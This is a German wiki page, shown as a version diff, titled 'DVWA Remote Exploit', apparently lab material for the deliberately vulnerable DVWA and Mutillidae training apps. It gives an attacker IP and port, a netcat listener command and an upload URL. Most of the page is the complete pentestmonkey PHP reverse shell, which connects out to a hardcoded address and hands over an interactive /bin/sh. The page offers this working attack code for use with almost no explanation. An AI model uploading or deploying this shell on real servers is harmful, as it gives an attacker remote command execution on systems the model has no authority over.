DVWA Remote Exploit: Unterschied zwischen den Versionen

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=Angreifer=
 
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;IP  : 10.81.70.249
 
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;PORT: 1234
 
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*netcat  -lp 1234^C
 
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=Unrestricted File Upload=
 
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*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php
 
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=PHP Remote Shell=
 
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<pre>
 
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<?php
 
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// php-reverse-shell - A Reverse Shell implementation in PHP
 
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// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
 
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//
 
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// This tool may be used for legal purposes only.  Users take full responsibility
 
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// for any actions performed using this tool.  The author accepts no liability
 
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// for damage caused by this tool.  If these terms are not acceptable to you, then
 
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// do not use this tool.
 
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//
 
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// In all other respects the GPL version 2 applies:
 
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//
 
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// This program is free software; you can redistribute it and/or modify
 
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// it under the terms of the GNU General Public License version 2 as
 
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// published by the Free Software Foundation.
 
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//
 
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// This program is distributed in the hope that it will be useful,
 
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// but WITHOUT ANY WARRANTY; without even the implied warranty of
 
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// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 
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// GNU General Public License for more details.
 
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//
 
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// You should have received a copy of the GNU General Public License along
 
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// with this program; if not, write to the Free Software Foundation, Inc.,
 
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// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 
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//
 
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// This tool may be used for legal purposes only.  Users take full responsibility
 
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// for any actions performed using this tool.  If these terms are not acceptable to
 
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// you, then do not use this tool.
 
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//
 
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// You are encouraged to send comments, improvements or suggestions to
 
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// me at pentestmonkey@pentestmonkey.net
 
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//
 
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// Description
 
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// -----------
 
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// This script will make an outbound TCP connection to a hardcoded IP and port.
 
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// The recipient will be given a shell running as the current user (apache normally).
 
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//
 
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// Limitations
 
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// -----------
 
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// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
 
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// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
 
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// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
 
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//
 
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// Usage
 
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// -----
 
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// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
 
  
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set_time_limit (0);
 
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$VERSION = "1.0";
 
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$ip = '10.81.70.249';  // CHANGE THIS
 
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$port = 1234;      // CHANGE THIS
 
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$chunk_size = 1400;
 
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$write_a = null;
 
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$error_a = null;
 
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$shell = 'uname -a; w; id; /bin/sh -i';
 
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$daemon = 0;
 
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$debug = 0;
 
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//
 
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// Daemonise ourself if possible to avoid zombies later
 
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//
 
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// pcntl_fork is hardly ever available, but will allow us to daemonise
 
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// our php process and avoid zombies.  Worth a try...
 
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if (function_exists('pcntl_fork')) {
 
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        // Fork and have the parent process exit
 
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        $pid = pcntl_fork();
 
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        if ($pid == -1) {
 
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                printit("ERROR: Can't fork");
 
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                exit(1);
 
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        }
 
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        if ($pid) {
 
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                exit(0);  // Parent exits
 
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        }
 
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        // Make the current process a session leader
 
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        // Will only succeed if we forked
 
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        if (posix_setsid() == -1) {
 
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                printit("Error: Can't setsid()");
 
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                exit(1);
 
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        }
 
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        $daemon = 1;
 
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} else {
 
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        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
 
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}
 
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// Change to a safe directory
 
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chdir("/");
 
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// Remove any umask we inherited
 
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umask(0);
 
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//
 
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// Do the reverse shell...
 
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//
 
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// Open reverse connection
 
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$sock = fsockopen($ip, $port, $errno, $errstr, 30);
 
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if (!$sock) {
 
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        printit("$errstr ($errno)");
 
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        exit(1);
 
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}
 
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// Spawn shell process
 
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$descriptorspec = array(
 
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  0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
 
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  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
 
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  2 => array("pipe", "w")  // stderr is a pipe that the child will write to
 
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);
 
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$process = proc_open($shell, $descriptorspec, $pipes);
 
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if (!is_resource($process)) {
 
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        printit("ERROR: Can't spawn shell");
 
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        exit(1);
 
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}
 
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// Set everything to non-blocking
 
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// Reason: Occsionally reads will block, even though stream_select tells us they won't
 
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stream_set_blocking($pipes[0], 0);
 
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stream_set_blocking($pipes[1], 0);
 
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stream_set_blocking($pipes[2], 0);
 
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stream_set_blocking($sock, 0);
 
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printit("Successfully opened reverse shell to $ip:$port");
 
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while (1) {
 
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        // Check for end of TCP connection
 
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        if (feof($sock)) {
 
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                printit("ERROR: Shell connection terminated");
 
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                break;
 
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        }
 
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        // Check for end of STDOUT
 
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        if (feof($pipes[1])) {
 
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                printit("ERROR: Shell process terminated");
 
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                break;
 
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        }
 
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        // Wait until a command is end down $sock, or some
 
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        // command output is available on STDOUT or STDERR
 
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        $read_a = array($sock, $pipes[1], $pipes[2]);
 
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        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
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        // If we can read from the TCP socket, send
 
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        // data to process's STDIN
 
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        if (in_array($sock, $read_a)) {
 
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                if ($debug) printit("SOCK READ");
 
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                $input = fread($sock, $chunk_size);
 
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                if ($debug) printit("SOCK: $input");
 
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                fwrite($pipes[0], $input);
 
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        }
 
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        // If we can read from the process's STDOUT
 
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        // send data down tcp connection
 
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        if (in_array($pipes[1], $read_a)) {
 
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                if ($debug) printit("STDOUT READ");
 
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                $input = fread($pipes[1], $chunk_size);
 
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                if ($debug) printit("STDOUT: $input");
 
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                fwrite($sock, $input);
 
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        }
 
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        // If we can read from the process's STDERR
 
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        // send data down tcp connection
 
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        if (in_array($pipes[2], $read_a)) {
 
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                if ($debug) printit("STDERR READ");
 
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                $input = fread($pipes[2], $chunk_size);
 
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                if ($debug) printit("STDERR: $input");
 
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                fwrite($sock, $input);
 
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        }
 
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}
 
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fclose($sock);
 
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fclose($pipes[0]);
 
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fclose($pipes[1]);
 
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fclose($pipes[2]);
 
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proc_close($process);
 
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// Like print, but does nothing if we've daemonised ourself
 
−
// (I can't figure out how to redirect STDOUT like a proper daemon)
 
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function printit ($string) {
 
−
        if (!$daemon) {
 
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                print "$string\n";
 
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        }
 
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}
 
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?>
 
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</pre>
 

Aktuelle Version vom 16. Juni 2021, 20:55 Uhr

Abgerufen von „http://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&oldid=24248“